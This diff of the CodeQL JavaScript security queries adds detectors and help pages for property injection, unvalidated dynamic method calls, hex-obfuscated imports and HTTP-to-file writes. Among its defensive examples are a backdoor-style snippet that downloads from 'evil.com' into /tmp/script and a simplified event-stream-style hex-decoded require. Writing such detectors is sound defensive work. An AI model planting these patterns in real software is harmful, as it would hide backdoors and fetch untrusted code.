<code>Function</code> constructor or the
|
||||
<code>eval</code> method, which can be used
|
||||
for code injection.
|
||||
</p>
|
||||
|
||||
<p>
|
||||
Additionally, if the name of an HTTP header is user-controlled,
|
||||
an attacker may exploit this to overwrite security-critical headers
|
||||
such as <code>Access-Control-Allow-Origin</code> or
|
||||
Moreover, if the name of an HTTP header is user-controlled,
|
||||
an attacker may exploit this to overwrite security-critical headers
|
||||
such as <code>Access-Control-Allow-Origin</code> or
|
||||
<code>Content-Security-Policy</code>.
|
||||
</p>
|
||||
</overview>
|
||||
@@ -38,57 +29,57 @@
|
||||
<recommendation>
|
||||
<p>
|
||||
The most common case in which prototype pollution vulnerabilities arise
|
||||
is when JavaScript objects are used for implementing map data
|
||||
structures. This case should be avoided whenever possible by using the
|
||||
ECMAScript 2015 <code>Map</code> instead. When this is not possible, an
|
||||
alternative fix is to prepend untrusted input with a marker character
|
||||
such as <code>$</code>, before using it in properties accesses. In this way,
|
||||
the attacker does not have access to built-in properties which do not
|
||||
start with the chosen character.
|
||||
is when JavaScript objects are used for implementing map data
|
||||
structures. This case should be avoided whenever possible by using the
|
||||
ECMAScript 2015 <code>Map</code> instead. When this is not possible, an
|
||||
alternative fix is to prepend untrusted input with a marker character
|
||||
such as <code>$</code>, before using it in properties accesses. In this way,
|
||||
the attacker does not have access to built-in properties which do not
|
||||
start with the chosen character.
|
||||
</p>
|
||||
<p>
|
||||
When using user input as part of header or method names, a sanitization
|
||||
step should be performed on the input to ensure that the name does not
|
||||
clash with existing property and header names such as
|
||||
<code>__proto__</code> or <code>Content-Security-Policy</code>.
|
||||
When using user input as part of a header name, a sanitization
|
||||
step should be performed on the input to ensure that the name does not
|
||||
clash with existing header names such as
|
||||
<code>Content-Security-Policy</code>.
|
||||
</p>
|
||||
</recommendation>
|
||||
|
||||
<example>
|
||||
<p>
|
||||
In the example below, the dynamically computed property
|
||||
<code>prop</code> is accessed on <code>myObj</code> using a
|
||||
In the example below, the dynamically computed property
|
||||
<code>prop</code> is accessed on <code>myObj</code> using a
|
||||
user-controlled value.
|
||||
</p>
|
||||
|
||||
<sample src="examples/RemotePropertyInjection.js"/>
|
||||
|
||||
<p>
|
||||
This is not secure since an attacker may exploit this code to
|
||||
This is not secure since an attacker may exploit this code to
|
||||
overwrite the property <code>__proto__</code> with an empty function.
|
||||
If this happens, the concatenation in the <code>console.log</code>
|
||||
argument will fail with a confusing message such as
|
||||
If this happens, the concatenation in the <code>console.log</code>
|
||||
argument will fail with a confusing message such as
|
||||
"Function.prototype.toString is not generic". If the application does
|
||||
not properly handle this error, this scenario may result in a serious
|
||||
denial-of-service attack. The fix is to prepend the user-controlled
|
||||
string with a marker character such as <code>$</code> which will
|
||||
prevent arbitrary property names from being overwritten.
|
||||
denial-of-service attack. The fix is to prepend the user-controlled
|
||||
string with a marker character such as <code>$</code> which will
|
||||
prevent arbitrary property names from being overwritten.
|
||||
</p>
|
||||
|
||||
<sample src="examples/RemotePropertyInjection_fixed.js"/>
|
||||
</example>
|
||||
|
||||
<references>
|
||||
<li>Prototype pollution attacks:
|
||||
<li>Prototype pollution attacks:
|
||||
<a href="https://github.com/electron/electron/pull/9287">electron</a>,
|
||||
<a href="https://hackerone.com/reports/310443">lodash</a>,
|
||||
<a href="https://nodesecurity.io/advisories/566">hoek</a>.
|
||||
</li>
|
||||
<li> Penetration testing report:
|
||||
<li> Penetration testing report:
|
||||
<a href="http://seclists.org/pen-test/2009/Mar/67">
|
||||
header name injection attack</a>
|
||||
</li>
|
||||
<li> npm blog post:
|
||||
<li> npm blog post:
|
||||
<a href="https://blog.liftsecurity.io/2015/01/14/the-dangers-of-square-bracket-notation#lift-security">
|
||||
dangers of square bracket notation</a>
|
||||
</li>
|
||||
|
||||
@@ -1,8 +1,7 @@
|
||||
/**
|
||||
* @name Remote property injection
|
||||
* @description Allowing writes to arbitrary properties or calls to arbitrary
|
||||
* methods of an object may lead to denial-of-service attacks.
|
||||
*
|
||||
* @description Allowing writes to arbitrary properties of an object may lead to
|
||||
* denial-of-service attacks.
|
||||
* @kind path-problem
|
||||
* @problem.severity warning
|
||||
* @precision medium
|
||||
|
||||
@@ -0,0 +1,46 @@
|
||||
<!DOCTYPE qhelp PUBLIC "-//Semmle//qhelp//EN" "qhelp.dtd">
|
||||
<qhelp>
|
||||
|
||||
<overview>
|
||||
<p>
|
||||
Interpreting hard-coded data, such as string literals containing hexadecimal numbers,
|
||||
as code or as an import path is typical of malicious backdoor code that has been
|
||||
implanted into an otherwise trusted code base and is trying to hide its true purpose
|
||||
from casual readers or automated scanning tools.
|
||||
</p>
|
||||
</overview>
|
||||
|
||||
<recommendation>
|
||||
<p>
|
||||
Examine the code in question carefully to ascertain its provenance and its true purpose.
|
||||
If the code is benign, it should always be possible to rewrite it without relying
|
||||
on dynamically interpreting data as code, improving both clarity and safety.
|
||||
</p>
|
||||
</recommendation>
|
||||
|
||||
<example>
|
||||
<p>
|
||||
As an example of malicious code using this obfuscation technique, consider the following
|
||||
simplified version of a snippet of backdoor code that was discovered in a dependency of
|
||||
the popular <code>event-stream</code> npm package:
|
||||
</p>
|
||||
<sample src="examples/HardcodedDataInterpretedAsCode.js"/>
|
||||
<p>
|
||||
While this shows only the first few lines of code, it already looks very suspicious
|
||||
since it takes a hard-coded string literal, hex-decodes it and then uses it as an
|
||||
import path. The only reason to do so is to hide the name of the file being imported.
|
||||
</p>
|
||||
</example>
|
||||
|
||||
<references>
|
||||
<li>
|
||||
OWASP:
|
||||
<a href="https://www.owasp.org/index.php/Trojan_Horse">Trojan Horse</a>.
|
||||
</li>
|
||||
<li>
|
||||
The npm Blog:
|
||||
<a href="https://blog.npmjs.org/post/180565383195/details-about-the-event-stream-incident">Details about the event-stream incident</a>.
|
||||
</li>
|
||||
</references>
|
||||
|
||||
</qhelp>
|
||||
@@ -0,0 +1,22 @@
|
||||
/**
|
||||
* @name Hard-coded data interpreted as code
|
||||
* @description Transforming hard-coded data (such as hexadecimal constants) into code
|
||||
* to be executed is a technique often associated with backdoors and should
|
||||
* be avoided.
|
||||
* @kind path-problem
|
||||
* @problem.severity error
|
||||
* @precision medium
|
||||
* @id js/hardcoded-data-interpreted-as-code
|
||||
* @tags security
|
||||
* external/cwe/cwe-506
|
||||
*/
|
||||
|
||||
import javascript
|
||||
import semmle.javascript.security.dataflow.HardcodedDataInterpretedAsCode::HardcodedDataInterpretedAsCode
|
||||
import DataFlow::PathGraph
|
||||
|
||||
from Configuration cfg, DataFlow::PathNode source, DataFlow::PathNode sink
|
||||
where cfg.hasFlowPath(source, sink)
|
||||
select sink.getNode(), source, sink,
|
||||
"Hard-coded data from $@ is interpreted as " + sink.getNode().(Sink).getKind() + ".",
|
||||
source.getNode(), "here"
|
||||
@@ -0,0 +1,8 @@
|
||||
var r = require;
|
||||
|
||||
function e(r) {
|
||||
return Buffer.from(r, "hex").toString()
|
||||
}
|
||||
|
||||
// BAD: hexadecimal constant decoded and interpreted as import path
|
||||
var n = r(e("2e2f746573742f64617461"));
|
||||
@@ -0,0 +1,86 @@
|
||||
<!DOCTYPE qhelp PUBLIC
|
||||
"-//Semmle//qhelp//EN"
|
||||
"qhelp.dtd">
|
||||
<qhelp>
|
||||
|
||||
<overview>
|
||||
<p>
|
||||
JavaScript makes it easy to look up object properties dynamically at runtime. In particular, methods
|
||||
can be looked up by name and then called. However, if the method name is user-controlled, an attacker
|
||||
could choose a name that makes the application invoke an unexpected method, which may cause a runtime
|
||||
exception. If this exception is not handled, it could be used to mount a denial-of-service attack.
|
||||
</p>
|
||||
<p>
|
||||
For example, there might not be a method of the given name, or the result of the lookup might not be
|
||||
a function. In either case the method call will throw a <code>TypeError</code> at runtime.
|
||||
</p>
|
||||
<p>
|
||||
Another, more subtle example is where the result of the lookup is a standard library method from
|
||||
<code>Object.prototype</code>, which most objects have on their prototype chain. Examples of such
|
||||
methods include <code>valueOf</code>, <code>hasOwnProperty</code> and <code>__defineSetter__</code>.
|
||||
If the method call passes the wrong number or kind of arguments to these methods, they will
|
||||
throw an exception.
|
||||
</p>
|
||||
</overview>
|
||||
|
||||
<recommendation>
|
||||
<p>
|
||||
It is best to avoid dynamic method lookup involving user-controlled names altogether, for instance
|
||||
by using a <code>Map</code> instead of a plain object.
|
||||
</p>
|
||||
<p>
|
||||
If the dynamic method lookup cannot be avoided, consider whitelisting permitted method names. At
|
||||
the very least, check that the method is an own property and not inherited from the prototype object.
|
||||
If the object on which the method is looked up contains properties that are not methods, you
|
||||
should additionally check that the result of the lookup is a function. Even if the object only
|
||||
contains methods, it is still a good idea to perform this check in case other properties are
|
||||
added to the object later on.
|
||||
</p>
|
||||
</recommendation>
|
||||
|
||||
<example>
|
||||
<p>
|
||||
In the following example, an HTTP request parameter <code>action</code> property is used to dynamically
|
||||
look up a function in the <code>actions</code> map, which is then invoked with the <code>payload</code>
|
||||
parameter as its argument.
|
||||
</p>
|
||||
|
||||
<sample src="examples/UnvalidatedDynamicMethodCall.js" />
|
||||
|
||||
<p>
|
||||
The intention is to allow clients to invoke the <code>play</code> or <code>pause</code> method, but there
|
||||
is no check that <code>action</code> is actually the name of a method stored in <code>actions</code>.
|
||||
If, for example, <code>action</code> is <code>rewind</code>, <code>action</code> will be <code>undefined</code>
|
||||
and the call will result in a runtime error.
|
||||
</p>
|
||||
|
||||
<p>
|
||||
The easiest way to prevent this is to turn <code>actions</code> into a <code>Map</code> and using
|
||||
<code>Map.prototype.has</code> to check whether the method name is valid before looking it up.
|
||||
</p>
|
||||
|
||||
<sample src="examples/UnvalidatedDynamicMethodCallGood.js" />
|
||||
|
||||
<p>
|
||||
If <code>actions</code> cannot be turned into a <code>Map</code>, a <code>hasOwnProperty</code>
|
||||
check should be added to validate the method name:
|
||||
</p>
|
||||
|
||||
<sample src="examples/UnvalidatedDynamicMethodCallGood2.js" />
|
||||
|
||||
</example>
|
||||
|
||||
<references>
|
||||
<li>
|
||||
OWASP:
|
||||
<a href="https://www.owasp.org/index.php/Denial_of_Service">Denial of Service</a>.
|
||||
</li>
|
||||
<li>
|
||||
MDN: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map">Map</a>.
|
||||
</li>
|
||||
<li>
|
||||
MDN: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype">Object.prototype</a>.
|
||||
</li>
|
||||
</references>
|
||||
|
||||
</qhelp>
|
||||
@@ -0,0 +1,21 @@
|
||||
/**
|
||||
* @name Unvalidated dynamic method call
|
||||
* @description Calling a method with a user-controlled name may dispatch to
|
||||
* an unexpected target, which could cause an exception.
|
||||
* @kind path-problem
|
||||
* @problem.severity warning
|
||||
* @precision high
|
||||
* @id js/unvalidated-dynamic-method-call
|
||||
* @tags security
|
||||
* external/cwe/cwe-754
|
||||
*/
|
||||
|
||||
import javascript
|
||||
import semmle.javascript.security.dataflow.UnvalidatedDynamicMethodCall::UnvalidatedDynamicMethodCall
|
||||
import DataFlow::PathGraph
|
||||
|
||||
from Configuration cfg, DataFlow::PathNode source, DataFlow::PathNode sink
|
||||
where cfg.hasFlowPath(source, sink)
|
||||
select sink.getNode(), source, sink,
|
||||
"Invocation of method with $@ name may dispatch to unexpected target and cause an exception.",
|
||||
source.getNode(), "user-controlled"
|
||||
@@ -0,0 +1,17 @@
|
||||
var express = require('express');
|
||||
var app = express();
|
||||
|
||||
var actions = {
|
||||
play(data) {
|
||||
// ...
|
||||
},
|
||||
pause(data) {
|
||||
// ...
|
||||
}
|
||||
}
|
||||
|
||||
app.get('/perform/:action/:payload', function(req, res) {
|
||||
let action = actions[req.params.action];
|
||||
// BAD: `action` may not be a function
|
||||
res.end(action(req.params.payload));
|
||||
});
|
||||
@@ -0,0 +1,20 @@
|
||||
var express = require('express');
|
||||
var app = express();
|
||||
|
||||
var actions = new Map();
|
||||
actions.put("play", function play(data) {
|
||||
// ...
|
||||
});
|
||||
actions.put("pause", function pause(data) {
|
||||
// ...
|
||||
});
|
||||
|
||||
app.get('/perform/:action/:payload', function(req, res) {
|
||||
if (actions.has(req.params.action)) {
|
||||
let action = actions.get(req.params.action);
|
||||
// GOOD: `action` is either the `play` or the `pause` function from above
|
||||
res.end(action(req.params.payload));
|
||||
} else {
|
||||
res.end("Unsupported action.");
|
||||
}
|
||||
});
|
||||
@@ -0,0 +1,23 @@
|
||||
var express = require('express');
|
||||
var app = express();
|
||||
|
||||
var actions = {
|
||||
play(data) {
|
||||
// ...
|
||||
},
|
||||
pause(data) {
|
||||
// ...
|
||||
}
|
||||
}
|
||||
|
||||
app.get('/perform/:action/:payload', function(req, res) {
|
||||
if (actions.hasOwnProperty(req.params.action)) {
|
||||
let action = actions[req.params.action];
|
||||
if (typeof action === 'function') {
|
||||
// GOOD: `action` is an own method of `actions`
|
||||
res.end(action(req.params.payload));
|
||||
return;
|
||||
}
|
||||
}
|
||||
res.end("Unsupported action.");
|
||||
});
|
||||
43
javascript/ql/src/Security/CWE-912/HttpToFileAccess.qhelp
Normal file
43
javascript/ql/src/Security/CWE-912/HttpToFileAccess.qhelp
Normal file
@@ -0,0 +1,43 @@
|
||||
<!DOCTYPE qhelp PUBLIC
|
||||
"-//Semmle//qhelp//EN"
|
||||
"qhelp.dtd">
|
||||
<qhelp>
|
||||
|
||||
<overview>
|
||||
<p>
|
||||
Storing user-controlled data on the local file system without
|
||||
further validation allows arbitrary file upload, and may be
|
||||
an indication of malicious backdoor code that has been
|
||||
implanted into an otherwise trusted code base.
|
||||
</p>
|
||||
</overview>
|
||||
|
||||
<recommendation>
|
||||
<p>
|
||||
Examine the highlighted code closely to ensure that it is
|
||||
behaving as intended.
|
||||
</p>
|
||||
</recommendation>
|
||||
|
||||
<example>
|
||||
<p>
|
||||
The following example shows backdoor code that downloads data
|
||||
from the URL <code>https://evil.com/script</code>, and stores
|
||||
it in the local file <code>/tmp/script</code>.
|
||||
</p>
|
||||
|
||||
<sample src="examples/HttpToFileAccess.js"/>
|
||||
|
||||
<p>
|
||||
Other parts of the program might then assume that since
|
||||
<code>/tmp/script</code> is a local file its contents can be
|
||||
trusted, while in fact they are obtained from an untrusted
|
||||
remote source.
|
||||
</p>
|
||||
</example>
|
||||
|
||||
<references>
|
||||
<li>OWASP: <a href="https://www.owasp.org/index.php/Trojan_Horse">Trojan Horse</a>.</li>
|
||||
<li>OWASP: <a href="https://www.owasp.org/index.php/Unrestricted_File_Upload">Unrestricted File Upload</a>.</li>
|
||||
</references>
|
||||
</qhelp>
|
||||
@@ -6,6 +6,7 @@
|
||||
* @id js/http-to-file-access
|
||||
* @tags security
|
||||
* external/cwe/cwe-912
|
||||
* external/cwe/cwe-434
|
||||
*/
|
||||
|
||||
import javascript
|
||||
|
||||
@@ -0,0 +1,8 @@
|
||||
var https = require("https");
|
||||
var fs = require("fs");
|
||||
|
||||
https.get('https://evil.com/script', res => {
|
||||
res.on("data", d => {
|
||||
fs.writeFileSync("/tmp/script", d)
|
||||
})
|
||||
});
|
||||
@@ -1,16 +0,0 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<?eclipse version="3.2"?>
|
||||
<plugin>
|
||||
<extension point="com.semmle.plugin.qdt.ui.resources">
|
||||
<name value="semmlecode-javascript-queries"/>
|
||||
</extension>
|
||||
|
||||
<extension point="com.semmle.plugin.qdt.ui.resources">
|
||||
<name value="com.semmle.code.javascript.library"/>
|
||||
</extension>
|
||||
|
||||
<extension point="com.semmle.plugin.qdt.ui.resources">
|
||||
<name value="com.semmle.code.javascript.dbscheme"/>
|
||||
<path value="/semmlecode.javascript.dbscheme"/>
|
||||
</extension>
|
||||
</plugin>
|
||||
@@ -1288,6 +1288,15 @@ class LogOrExpr extends @logorexpr, BinaryExpr {
|
||||
override ControlFlowNode getFirstControlFlowNode() { result = this }
|
||||
}
|
||||
|
||||
/** A nullish coalescing '??' expression. */
|
||||
class NullishCoalescingExpr extends @nullishcoalescingexpr, BinaryExpr {
|
||||
override string getOperator() {
|
||||
result = "??"
|
||||
}
|
||||
|
||||
override ControlFlowNode getFirstControlFlowNode() { result = this }
|
||||
}
|
||||
|
||||
/**
|
||||
* A logical binary expression, that is, either a logical
|
||||
* 'or' or a logical 'and' expression.
|
||||
@@ -1295,7 +1304,8 @@ class LogOrExpr extends @logorexpr, BinaryExpr {
|
||||
class LogicalBinaryExpr extends BinaryExpr {
|
||||
LogicalBinaryExpr() {
|
||||
this instanceof LogAndExpr or
|
||||
this instanceof LogOrExpr
|
||||
this instanceof LogOrExpr or
|
||||
this instanceof NullishCoalescingExpr
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1901,4 +1911,36 @@ private class LiteralDynamicImportPath extends PathExprInModule, ConstantString
|
||||
}
|
||||
|
||||
override string getValue() { result = this.(ConstantString).getStringValue() }
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* A call or member access that evaluates to `undefined` if its base operand evaluates to `undefined` or `null`.
|
||||
*/
|
||||
class OptionalUse extends Expr, @optionalchainable { OptionalUse() { isOptionalChaining(this) } }
|
||||
|
||||
private class ChainElem extends Expr, @optionalchainable {
|
||||
/**
|
||||
* Gets the base operand of this chainable element.
|
||||
*/
|
||||
ChainElem getChainBase() {
|
||||
result = this.(CallExpr).getCallee() or
|
||||
result = this.(PropAccess).getBase()
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* The root in a chain of calls or property accesses, where at least one call or property access is optional.
|
||||
*/
|
||||
class OptionalChainRoot extends ChainElem {
|
||||
OptionalUse optionalUse;
|
||||
|
||||
OptionalChainRoot() {
|
||||
getChainBase*() = optionalUse and
|
||||
not exists(ChainElem other | this = other.getChainBase())
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets an optional call or property access in the chain of this root.
|
||||
*/
|
||||
OptionalUse getAnOptionalUse() { result = optionalUse }
|
||||
}
|
||||
|
||||
@@ -132,7 +132,13 @@ predicate findNodeModulesFolder(Folder f, Folder nodeModules, int distance) {
|
||||
*/
|
||||
private class RequireVariable extends Variable {
|
||||
RequireVariable() {
|
||||
exists (ModuleScope m | this = m.getVariable("require"))
|
||||
this = any(ModuleScope m).getVariable("require")
|
||||
or
|
||||
// cover cases where we failed to detect Node.js code
|
||||
this.(GlobalVariable).getName() = "require"
|
||||
or
|
||||
// track through assignments to other variables
|
||||
this.getAnAssignedExpr().(VarAccess).getVariable() instanceof RequireVariable
|
||||
}
|
||||
}
|
||||
|
||||
@@ -149,7 +155,9 @@ private predicate moduleInFile(Module m, File f) {
|
||||
class Require extends CallExpr, Import {
|
||||
Require() {
|
||||
exists (RequireVariable req |
|
||||
this.getCallee() = req.getAnAccess()
|
||||
this.getCallee() = req.getAnAccess() and
|
||||
// `mjs` files explicitly disallow `require`
|
||||
getFile().getExtension() != "mjs"
|
||||
)
|
||||
}
|
||||
|
||||
|
||||
@@ -413,3 +413,15 @@ private class AnalyzedAssignAddExpr extends AnalyzedCompoundAssignExpr {
|
||||
isAddition(astNode) and result = abstractValueOfType(TTNumber())
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Flow analysis for optional chaining expressions.
|
||||
*/
|
||||
private class AnalyzedOptionalChainExpr extends DataFlow::AnalyzedValueNode {
|
||||
override OptionalChainRoot astNode;
|
||||
|
||||
override AbstractValue getALocalValue() {
|
||||
result = super.getALocalValue() or
|
||||
result = TAbstractUndefined()
|
||||
}
|
||||
}
|
||||
|
||||
@@ -157,6 +157,10 @@ abstract class CallWithNonLocalAnalyzedReturnFlow extends DataFlow::AnalyzedValu
|
||||
|
||||
override AbstractValue getAValue() {
|
||||
result = getACallee().getAReturnValue()
|
||||
or
|
||||
// special case from the local layer (could be more precise if it is inferred that the callee is not `null`/`undefined`)
|
||||
astNode instanceof OptionalChainRoot and
|
||||
result = TAbstractUndefined()
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -297,7 +297,22 @@ module NodeJSLib {
|
||||
override predicate step(DataFlow::Node pred, DataFlow::Node succ) {
|
||||
pred = tainted and succ = this
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* A model of taint propagation through `new Buffer` and `Buffer.from`.
|
||||
*/
|
||||
private class BufferTaintStep extends TaintTracking::AdditionalTaintStep, DataFlow::InvokeNode {
|
||||
BufferTaintStep() {
|
||||
this = DataFlow::globalVarRef("Buffer").getAnInstantiation()
|
||||
or
|
||||
this = DataFlow::globalVarRef("Buffer").getAMemberInvocation("from")
|
||||
}
|
||||
|
||||
override predicate step(DataFlow::Node pred, DataFlow::Node succ) {
|
||||
pred = getArgument(0) and
|
||||
succ = this
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
|
||||
@@ -0,0 +1,97 @@
|
||||
/**
|
||||
* Provides a taint-tracking configuration for reasoning about hard-coded data
|
||||
* being interpreted as code.
|
||||
*/
|
||||
|
||||
import javascript
|
||||
private import semmle.javascript.security.dataflow.CodeInjection
|
||||
|
||||
module HardcodedDataInterpretedAsCode {
|
||||
/**
|
||||
* A data flow source for hard-coded data.
|
||||
*/
|
||||
abstract class Source extends DataFlow::Node {
|
||||
/** Gets a flow label for which this is a source. */
|
||||
DataFlow::FlowLabel getLabel() {
|
||||
result = DataFlow::FlowLabel::data()
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* A data flow sink for code injection.
|
||||
*/
|
||||
abstract class Sink extends DataFlow::Node {
|
||||
/** Gets a flow label for which this is a sink. */
|
||||
abstract DataFlow::FlowLabel getLabel();
|
||||
|
||||
/** Gets a description of what kind of sink this is. */
|
||||
abstract string getKind();
|
||||
}
|
||||
|
||||
/**
|
||||
* A sanitizer for hard-coded data.
|
||||
*/
|
||||
abstract class Sanitizer extends DataFlow::Node {}
|
||||
|
||||
/**
|
||||
* A taint-tracking configuration for reasoning about hard-coded data
|
||||
* being interpreted as code
|
||||
*/
|
||||
class Configuration extends TaintTracking::Configuration {
|
||||
Configuration() {
|
||||
this = "HardcodedDataInterpretedAsCode"
|
||||
}
|
||||
|
||||
override predicate isSource(DataFlow::Node source, DataFlow::FlowLabel lbl) {
|
||||
source.(Source).getLabel() = lbl
|
||||
}
|
||||
|
||||
override predicate isSink(DataFlow::Node nd, DataFlow::FlowLabel lbl) {
|
||||
nd.(Sink).getLabel() = lbl
|
||||
}
|
||||
|
||||
override predicate isSanitizer(DataFlow::Node node) {
|
||||
node instanceof Sanitizer
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* A constant string consisting of eight or more hexadecimal characters (including at
|
||||
* least one digit), viewed as a source of hard-coded data that should not be
|
||||
* interpreted as code.
|
||||
*/
|
||||
private class DefaultSource extends Source, DataFlow::ValueNode {
|
||||
DefaultSource() {
|
||||
exists (string val | val = astNode.(Expr).getStringValue() |
|
||||
val.regexpMatch("[0-9a-fA-F]{8,}") and
|
||||
val.regexpMatch(".*[0-9].*")
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* A code injection sink; hard-coded data should not flow here.
|
||||
*/
|
||||
private class DefaultCodeInjectionSink extends Sink {
|
||||
DefaultCodeInjectionSink() { this instanceof CodeInjection::Sink }
|
||||
override DataFlow::FlowLabel getLabel() { result = DataFlow::FlowLabel::taint() }
|
||||
override string getKind() { result = "code" }
|
||||
}
|
||||
|
||||
/**
|
||||
* An argument to `require` path; hard-coded data should not flow here.
|
||||
*/
|
||||
private class RequireArgumentSink extends Sink {
|
||||
RequireArgumentSink() {
|
||||
this = any(Require r).getAnArgument().flow()
|
||||
}
|
||||
|
||||
override DataFlow::FlowLabel getLabel() {
|
||||
result = DataFlow::FlowLabel::data()
|
||||
or
|
||||
result = DataFlow::FlowLabel::taint()
|
||||
}
|
||||
|
||||
override string getKind() { result = "an import path" }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,47 @@
|
||||
/**
|
||||
* Provides predicates for reasoning about flow of user-controlled values that are used
|
||||
* as property names.
|
||||
*/
|
||||
import javascript
|
||||
|
||||
module PropertyInjection {
|
||||
/**
|
||||
* A data-flow node that sanitizes user-controlled property names that flow through it.
|
||||
*/
|
||||
abstract class Sanitizer extends DataFlow::Node {
|
||||
}
|
||||
|
||||
/**
|
||||
* Concatenation with a constant, acting as a sanitizer.
|
||||
*/
|
||||
private class ConcatSanitizer extends Sanitizer {
|
||||
ConcatSanitizer() {
|
||||
StringConcatenation::getAnOperand(this).asExpr() instanceof ConstantString
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Holds if the methods of the given value are unsafe, such as `eval`.
|
||||
*/
|
||||
predicate hasUnsafeMethods(DataFlow::SourceNode node) {
|
||||
// eval and friends can be accessed from the global object.
|
||||
node = DataFlow::globalObjectRef()
|
||||
or
|
||||
// document.write can be accessed
|
||||
isDocument(node.asExpr())
|
||||
or
|
||||
// 'constructor' property leads to the Function constructor.
|
||||
node.analyze().getAValue() instanceof AbstractCallable
|
||||
or
|
||||
// Assume that a value that is invoked can refer to a function.
|
||||
exists (node.getAnInvocation())
|
||||
}
|
||||
|
||||
/**
|
||||
* Holds if the `node` is of form `Object.create(null)` and so it has no prototype.
|
||||
*/
|
||||
predicate isPrototypeLessObject(DataFlow::MethodCallNode node) {
|
||||
node = DataFlow::globalVarRef("Object").getAMethodCall("create") and
|
||||
node.getArgument(0).asExpr() instanceof NullLiteral
|
||||
}
|
||||
}
|
||||
@@ -1,11 +1,12 @@
|
||||
/**
|
||||
* Provides a taint tracking configuration for reasoning about injections in
|
||||
* property names, used either for writing into a property, into a header or
|
||||
* Provides a taint tracking configuration for reasoning about injections in
|
||||
* property names, used either for writing into a property, into a header or
|
||||
* for calling an object's method.
|
||||
*/
|
||||
|
||||
import javascript
|
||||
import semmle.javascript.frameworks.Express
|
||||
import PropertyInjectionShared
|
||||
|
||||
module RemotePropertyInjection {
|
||||
/**
|
||||
@@ -17,11 +18,11 @@ module RemotePropertyInjection {
|
||||
* A data flow sink for remote property injection.
|
||||
*/
|
||||
abstract class Sink extends DataFlow::Node {
|
||||
|
||||
|
||||
/**
|
||||
* Gets a string to identify the different types of sinks.
|
||||
*/
|
||||
abstract string getMessage();
|
||||
abstract string getMessage();
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -45,78 +46,50 @@ module RemotePropertyInjection {
|
||||
|
||||
override predicate isSanitizer(DataFlow::Node node) {
|
||||
super.isSanitizer(node) or
|
||||
node instanceof Sanitizer
|
||||
node instanceof Sanitizer or
|
||||
node instanceof PropertyInjection::Sanitizer
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* A source of remote user input, considered as a flow source for remote property
|
||||
* injection.
|
||||
* A source of remote user input, considered as a flow source for remote property
|
||||
* injection.
|
||||
*/
|
||||
class RemoteFlowSourceAsSource extends Source {
|
||||
RemoteFlowSourceAsSource() { this instanceof RemoteFlowSource }
|
||||
}
|
||||
|
||||
/**
|
||||
* A sink for property writes with dynamically computed property name.
|
||||
* A sink for property writes with dynamically computed property name.
|
||||
*/
|
||||
class PropertyWriteSink extends Sink, DataFlow::ValueNode {
|
||||
PropertyWriteSink() {
|
||||
exists (DataFlow::PropWrite pw | astNode = pw.getPropertyNameExpr()) or
|
||||
exists (DeleteExpr expr | expr.getOperand().(PropAccess).getPropertyNameExpr() = astNode)
|
||||
exists (DataFlow::PropWrite pw | astNode = pw.getPropertyNameExpr()) or
|
||||
exists (DeleteExpr expr | expr.getOperand().(PropAccess).getPropertyNameExpr() = astNode)
|
||||
}
|
||||
|
||||
override string getMessage() {
|
||||
result = " a property name to write to."
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* A sink for method calls using dynamically computed method names.
|
||||
*/
|
||||
class MethodCallSink extends Sink, DataFlow::ValueNode {
|
||||
MethodCallSink() {
|
||||
exists (DataFlow::PropRead pr | astNode = pr.getPropertyNameExpr() |
|
||||
exists (pr.getAnInvocation())
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
override string getMessage() {
|
||||
result = " a method name to be called."
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* A sink for HTTP header writes with dynamically computed header name.
|
||||
* This sink avoids double-flagging by ignoring `SetMultipleHeaders` since
|
||||
* the multiple headers use case consists of an objects containing different
|
||||
* header names as properties. This case is already handled by
|
||||
* `PropertyWriteSink`.
|
||||
/**
|
||||
* A sink for HTTP header writes with dynamically computed header name.
|
||||
* This sink avoids double-flagging by ignoring `SetMultipleHeaders` since
|
||||
* the multiple headers use case consists of an objects containing different
|
||||
* header names as properties. This case is already handled by
|
||||
* `PropertyWriteSink`.
|
||||
*/
|
||||
class HeaderNameSink extends Sink, DataFlow::ValueNode {
|
||||
HeaderNameSink() {
|
||||
exists (HTTP::ExplicitHeaderDefinition hd |
|
||||
not hd instanceof Express::SetMultipleHeaders and
|
||||
astNode = hd.getNameExpr()
|
||||
)
|
||||
exists (HTTP::ExplicitHeaderDefinition hd |
|
||||
not hd instanceof Express::SetMultipleHeaders and
|
||||
astNode = hd.getNameExpr()
|
||||
)
|
||||
}
|
||||
|
||||
override string getMessage() {
|
||||
result = " a header name."
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* A binary expression that sanitzes a value for remote property injection. That
|
||||
* is, if a string is prepended or appended to the remote input, an attacker
|
||||
* cannot access arbitrary properties.
|
||||
*/
|
||||
class ConcatSanitizer extends Sanitizer, DataFlow::ValueNode {
|
||||
|
||||
override BinaryExpr astNode;
|
||||
|
||||
ConcatSanitizer() {
|
||||
astNode.getAnOperand() instanceof ConstantString
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,121 @@
|
||||
/**
|
||||
* Provides a taint-tracking configuration for reasoning about method invocations
|
||||
* with a user-controlled method name on objects with unsafe methods.
|
||||
*/
|
||||
|
||||
import javascript
|
||||
